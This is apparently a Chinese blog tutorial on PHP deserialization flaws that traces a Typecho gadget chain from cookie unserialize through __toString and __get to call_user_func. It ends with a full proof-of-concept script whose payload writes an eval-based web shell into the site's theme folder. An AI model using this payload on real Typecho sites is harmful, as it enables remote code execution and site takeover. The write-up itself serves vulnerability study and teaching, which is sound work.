<
PHP反序列化漏洞分析与构造
>

没有上一篇咯
下一篇

log4j<=1.2.17 Socket-反序列化漏洞

PHP反序列化漏洞分析与构造

简介

序列化是将对象转换为字符串以便存储传输的一种方式 ,反序列化是将字符串转换为对象供程序使用。有关函数为serialize()和unserialize() ,反序列化本身并不危险,但是如果反序列化时,传入反序列化函数的参数可以被用户控制 。

反序列化漏洞原因,序列化和反序列化时会调用魔术方法。一般涉及的函数有

__construct 构造函数,创建对象时自动调用

__wakeup 使用unserialse()函数时会自动调用

__destruct 当对象被销毁时自动调用 (php绝大多数情况下会自动调用销毁对象)

__toString()当一个对象被当作一个字符串使用

__wakeup将在序列化之后立即被调用

如果服务器能够接收我们反序列化过的字符串、并且未经过滤的把其中的变量直接放进这些魔术方法里面的话,就容易造成很严重的漏洞了 。从而也就在TP的POP链的发掘中会有各种pop链的利用。

反序列化poc构造

寻找入口点(存在魔术方法和可控点)

根据入口点实例化一个类A

类中调用魔术方法并类中成员赋值,存在一个可控的方法M(a)。

创建恶意对象B

实例化B:B1,实例化A:A1并将B添加到A:A1->M(‘a’->B1)

exp=A1->M(‘a’->B1)

echo serialize(exp)

实例1-Typecho反序列化漏洞

适配器Adapter配置

<?php
   $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
   Typecho_Cookie::delete('__typecho_config');
   $db = new Typecho_Db($config['adapter'], $config['prefix']);
   $db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
   Typecho_Db::set($db);

?>

1->unserialize存在不安全反序列化

2->入口点存在魔术方法

public function __construct($adapterName, $prefix = 'typecho_'){    /** 获取适配器名称 */
   $this->_adapterName = $adapterName;    /** 数据库适配器 */
   $adapterName = 'Typecho_Db_Adapter_' . $adapterName;

如果适配器Adpter是一个类,就形成了类和字符串的拼接,可以用来触发这个类__toString()方法,__toString:对象转换为字符串时触发。——》3->Adpter类可控

那么就可以寻找__toString方法

foreach ($this->_items as $item) {
$content .= '<item>' . self::EOL;
$content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
$content .= '<link>' . $item['link'] . '</link>' . self::EOL;
$content .= '<guid>' . $item['link'] . '</guid>' . self::EOL;
$content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL;
$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;

screenName可控,由数组_items遍历得来。screnName是一个无法直接被调用的变量,就会触发__get()方法。

而__get()方法存在于Request.php

get()方法:

public function __get($key){return $this->get($key);
}

$key就是screenName,是我们可以控制的输入值,跟进$this->get()方法:

private function _applyFilter($value){if ($this->_filter) {foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) : call_user_func($filter, $value);
}$this->_filter = array();
}return $value;
}

存在array_map()、call_user_func()危险函数,那么可以控制$value来执行代码。

构造时可通过在adapder类中创建一个可控的方法获M(array $item)

public function M(array $item)
{
$this->_tems[]=$item;
}

__toString后的可控参数$item添加到Adpter类类中并在魔术方法对象A创建时调用。

创建恶意对象类B

class B
{
private $_params = array('screenName'=>'fputs(fopen(\'./usr/themes/default/img/c.php\',\'w\'),\'<?php @eval($_POST[a]);?>\')');
    private $_filter = array('assert');
}

最终构造POC

class A
{
    const RSS2 = 'RSS 2.0';
    private $_type;
    private $_charset;
    private $_lang;
    private $_items = array();

    public function __construct($version, $type = self::RSS2, $charset = 'UTF-8', $lang = 'en')
    {
        $this->_version = $version;
        $this->_type = $type;
        $this->_charset = $charset;
        $this->_lang = $lang;
    }

    public function M(array $item)
    {
        $this->_items[] = $item;
    }
}
//创建恶意对象B
class B
{
    private $_params = array('screenName'=>'fputs(fopen(\'./usr/themes/default/img/c.php\',\'w\'),\'<?php @eval($_POST[a]);?>\')');
    private $_filter = array('assert');
    //private $_filter = array('assert', array('Typecho_Response', 'redirect'));

}
//实例化B:B1,实例化A:A1并将B1添加到A:A1->M('a'->B1)
$A1=new A(5,'ATOM 1.0');
$B1=new B();
$A1->M(array('author'=>$B1));
$exp['adapter']=$A1;
$exp['prefix']='Rai4over';
echo base64_encode(serialize($exp));

参考文章:https://mp.weixin.qq.com/s/TM0v7dTpTHDnebLu5IRNSg

实例二-待续~

Top
Foot